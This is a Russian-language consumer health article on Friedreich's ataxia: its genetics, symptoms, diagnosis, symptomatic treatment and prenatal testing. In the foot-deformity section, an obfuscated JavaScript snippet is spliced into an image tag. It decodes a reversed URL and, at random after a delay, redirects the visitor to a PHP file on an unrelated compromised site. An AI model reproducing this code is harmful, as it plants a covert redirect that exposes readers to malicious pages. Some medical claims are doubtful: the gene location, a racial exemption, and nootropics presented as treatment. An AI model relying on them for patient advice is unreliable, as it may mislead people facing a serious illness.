Болезнь Фридрейха относится к группе наследственных нейродегенеративных заболеваний. Для неё свойственно наличие атаксии (нарушения координации), наследственный характер передачи, множественность клинических проявлений. Без лечения патология быстро приводит к инвалидизации пациентов, поэтому своевременная диагностика атаксии Фридрейха имеет важное социально-экономическое значение.
Содержание
Описание атаксии Фридрейха
Атаксия Фридрейха относится к болезням с наследственным характером передачи: причиной является дефект гена, который находится в коротком плече девятой хромосомы. У пациентов нарушается синтез белка фратаксина, ответственного за обмен железа на клеточном уровне.
Фратаксин играет важную роль в работе главных энергетических станций клетки — митохондрий.
Происходит повреждение следующих клеток:
- нервных;
- поджелудочной железы, производящих инсулин (гормон, регулирующий обмен глюкозы в организме);
- зрительных анализаторов.
Кроме того, страдают волокна сердечной мышцы — миокарда, а также костно-мышечная система.
Распространённость патологии составляет 2–7 случаев на 100 тыс. человек. Встречается она одинаково часто как среди мужчин, так и среди женщин. Представители негроидной расы не страдают этим заболеванием.
Как передаётся наследственная атаксия Фридрейха — видео
Механизм передачи заболевания по наследству
Болезнь Фридрейха представляет собой наиболее часто встречающуюся форму наследственных атаксий. Заболевание передаётся по аутосомно-рецессивному механизму. Это означает, что для развития патологии необходимо наличие двух одинаковых копий дефектного гена.
Родители больного атаксией Фридрейха будут здоровы, если считаются гетерозиготными, то есть имеют один здоровый ген и один дефектный (не дают клинических проявлений).
Клинические проявления семейной атаксии Фридрейха
Клиническая картина была описана немецким врачом Никалаусом Фридрейхом ещё в 1860 году, и по сей день заболевание носит его имя. Дебют чаще всего приходится на второе десятилетие жизни, первые симптомы, как правило, возникают в препубертатном периоде (7–13 лет).
Анатомическая основа атаксии Фридрейха — дегенерация задних и боковых столбов спинного мозга, где проходят нервные волокна, обеспечивающие реализацию разных видов чувствительности и двигательных функций. Особенно заметны изменения в пояснично-крестцовом отделе.
Существуют различные варианты мутаций гена, кодирующего синтез фратаксина, из-за чего симптомы могут быть крайне многообразными. Типичная картина заболевания включает поражение зрительного анализатора и большого количества систем органов:
- нервной;
- эндокринной;
- сердечно-сосудистой;
- костно-мышечной.
Нарушения со стороны органа зрения при атаксии Фридрейха встречаются относительно редко и могут включать аномалии рефракции, пигментную ретинопатию, катаракту.
Для атипичной формы характерно более благоприятное течение.
Иногда болезнь начинается с набора симптомов, что обусловлено множественным действием гена, когда один ген кодирует несколько признаков (форм белка). Нередко пациент может в течение длительного времени находиться под наблюдением узкого специалиста, не подозревая о наличии наследственной патологии.
Поражение нервной системы
У больного могут наблюдаться следующие признаки поражения нервной системы:
- шаткость походки (атаксия);
- дефекты речи — дизартрия;
- пирамидные (парезы) и экстрапирамидные (ухудшение координации) симптомы;
- ухудшение чувствительности;
- снижение и исчезновение глубоких рефлексов (как правило, проявляется в первую очередь);
- нарушение функций тазовых органов (затруднения при мочеиспускании и дефекации).
Иные проявления, характерные для атаксии Фридрейха, называются экстраневральными.
Поражение эндокринной системы
Помимо неврологических нарушений, больные часто страдают следующими заболеваниями:
- сахарным диабетом;
- гипогонадизмом — нарушением функции половых желёз;
- ожирением;
- инфантилизмом.
Костно-мышечные изменения
Для атаксии Фридрейха характерны скелетные деформации:
- Стопа Фридрейха — типичное проявление заболевания, включающее изменение формы свода стопы, переразгибание в проксимальных фаланговых суставах и сгибание в межфаланговых.
Стоит отметить, что подобные деформации стопы не являются характерными исключительно для атаксии Фридрейха, они встречаются и при других наследственных патологиях (спинальной атрофии Шарко— Мари и пр.).
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/07/stopa-fridreyha-1-728×547.jpg» alt=»Стопа Фридрейха» width=»728″ height=»547″ /> Типичная костно-мышечная деформация — стопа Фридрейха
- Деформации фаланг кистей и стоп.
- Сколиоз.
Поражение сердечно-сосудистой системы
Поражение сердечно-сосудистой системы характеризуется развитием кардиомиопатии, чаще гипертрофической, которая сопровождается разрастанием оболочки миокарда. При этом уменьшается объём полостей сердца, что приводит к нарушениям гемодинамики.
К проявлениям атаксии Фридрейха могут относиться и нарушения ритма, являющиеся следствием кардиомиопатии.
Методы постановки диагноза
Для постановки верного диагноза опорными пунктами для врача будут следующие:
- тщательное изучение родословной пробанда (человека, в отношении которого составляется генетическая карта);
- учёт времени проявления первых симптомов;
- сочетание неврологических симптомов и поражения других систем организма;
- наличие скелетных деформаций.
Основная трудность диагностики заболевания кроется в многообразии симптомов. Только при сложении всех проявлений в единую картину возможна постановка верного диагноза. Зачастую пациенты длительно наблюдаются у врачей разных специальностей на предмет поражения одной из систем организма.
В качестве дополнительных методов исследования используют:
- Магнитно-резонансную и компьютерную томографию, рентгенографию — определяют наличие атрофии спинного мозга и другие органические изменения.
- Электронейромиографию — отмечают изменения прохождения потенциала действия, характерного для заболевания.
- Электрокардиографию, УЗИ сердца, суточную запись ЭКГ и другие методы исследования применяют для оценки изменений в сердечной мышце.
- Биохимический анализ крови на глюкозу, гликемический профиль, тест на толерантность к углеводам, анализ крови на гормоны (при необходимости).
- ДНК-диагностику — из биологического материала выделяют образец для определения дефектного гена.
Дифференциальная диагностика проводится с другими видами атаксий, а также со следующими патологиями:
- рассеянным склерозом;
- сифилитическим поражением центральной нервной системы;
- опухолями мозжечка;
- фуникулярным миелозом.
Лечение
Лечение болезни Фридрейха симптоматическое. Для уменьшения частоты осложнений и улучшения качества жизни используются следующие препараты:
- антиоксиданты (медикаменты метаболического действия, уменьшающие количество свободных радикалов в клетке), в том числе поливитамины;
- Нобен (Коэнзим Q10), являющийся одним из важных факторов в цепи энергетического обмена клетки на биохимическом уровне;
- ноотропы — Пирацетам, Аминалон, Энцефабол, Церебролизин, Цитохром С, Пикамилон, Семакс, средства, содержащие экстракт гинкго билоба, улучшающие мозговую деятельность;
- метаболиты — Кокарбоксилаза, Рибоксин, Милдронат, Цитофлавин;
- Ботокс — фармакологический препарат, в основе действия которого лежит ослабление нервно-мышечной передачи, используется для устранения спастики.
Также возможны следующие мероприятия по лечению экстраневральных проявлений:
- оперативная терапия сколиоза — установка металлического каркаса, представляющего собой стержень и набор фиксаторов, крепящихся к необходимым позвонкам и придающих стабильность позвоночному столбу;
- коррекция эндокринных нарушений;
- исправление нарушений ритма и других последствий изменений миокарда;
- избавление от катаракты.
Необходимыми компонентами лечения атаксии Фридрейха считается физиотерапия и ЛФК.
Лечебная физкультура призвана:
- формировать нормальный мышечный тонус;
- поддерживать мышечную силу на должном уровне;
- препятствовать образованию контрактур (ограничения подвижности суставов);
- обучать необходимым двигательным навыкам под руководством опытного инструктора.
Данные меры позволяют длительно сохранять двигательные функции организма.
Из методов физиотерапии можно выделить:
- массаж;
- парафинотерапию;
- тёплые аппликации с озокеритом — горным воском;
- электрофорез с миорелаксантами;
- электрофорез с атропином на область мочевого пузыря (используется при нарушении функции тазовых органов).
Поскольку атаксия Фридрейха сопровождается нарушением энергетического обмена, пациентам с этим заболеванием следует ограничить приём углеводов, так как высокое их потребление усиливает проявления дефекта.
Также необходимы меры социальной адаптации. Очень важны поддержка и помощь со стороны окружения пациента.
Лекарства, назначаемые при патологии — галерея
-
- Измнения в спинном и головном мозге на МРТ при атаксии Фридрейха
-
- схематическое изображение поражения нервной системы при атаксии Фридрейха
-
- Типичная костно-мышечная деформация — стопа Фридрейха
-
- Аутосомно-рецессивный механизм наследования атаксии Фридрейха
-
- Атаксия Фридрейха наследуется по аутосомно-рецессивному механизму
-
- Типичная костно-мышечная деформация — стопа Фридрейха
-
- При атаксии Фридрейха наблюдаются характерные изменения в спинном и головном мозге
-
- Электронейромиография — исследование проведения нервного импульса по нервным и мышечным волокнам
-
- Рибоксин — препарат, нормализующий метаболизм миокарда
-
- Поливитамины уменьшают количество свободных радикалов
-
- Пирацетам — ноотропный препарат, улучшающий мозговую деятельность
-
- Нобен улучшает обменные процессы в головном мозге
-
- Ботокс используется для устранения спастики
-
- Массаж при атаксии Фридрейха должен выполняться специалистом
-
- При атаксии Фридрейха показаны тёплые аппликации с озокеритом
-
- У некоторых пациентов атаксия Фридрейха приводит к развитию катаракты
-
- Проведение амниоцентеза позволяет предотвратить рождение ребёнка, больного атаксией Фридрейха
-
- При атаксии Фридрейха наблюдается характерная походка: человек с трудом сохраняет баланс
-
- При атаксии Фридрейха показаны тёплые аппликации с озокеритом
-
- Ботокс используется для устранения спастики
Новые методы в терапии заболевания
Учёные разных стран работают над проектами создания новых средств лечения болезни Фридрейха, в частности препаратов, способных повысить уровень фратаксина в клетках. Проводятся также исследования в области генной терапии, которая бы позволила путём генно-инженерных технологий исправить дефектный ген и препятствовать развитию заболевания.
В настоящее время в стадии разработки находится метод лечения атаксии Фридрейха путём трансплантации стволовых клеток, взятых из пуповинной крови доношенных младенцев.
Лечение атаксии Фридрейха — видео
Течение заболевания и прогноз
Даже несмотря на проводимые лечебные мероприятия, атаксия Фридрейха характеризуется неуклонным прогрессированием — 50% больных не доживают до 35 лет. Летальный исход может наступить из-за развития дыхательной или сердечной недостаточности.
Методы профилактики
Профилактика основана на медико-генетической консультации. В настоящее время осуществляется генетическое тестирование будущих родителей и пренатальная диагностика. Путём амниоцентеза или кордоцентеза проводится исследование биологического материала плода.
Амниоцентез — пункция плодного пузыря с целью получения клеток плодной оболочки хориона, содержащих в себе генетический материал плода. Кордоцентез — пункция пуповины.
Таким образом можно предотвратить рождение больного ребёнка.
Атаксия Фридрейха — тяжёлое наследственное заболевание, поражающее множество органов и систем. Подход к лечению требует скоординированных действий врачей различных специальностей (невролога, кардиолога, эндокринолога и других). Бережное отношение к своему здоровью поможет больному сохранить качество жизни.
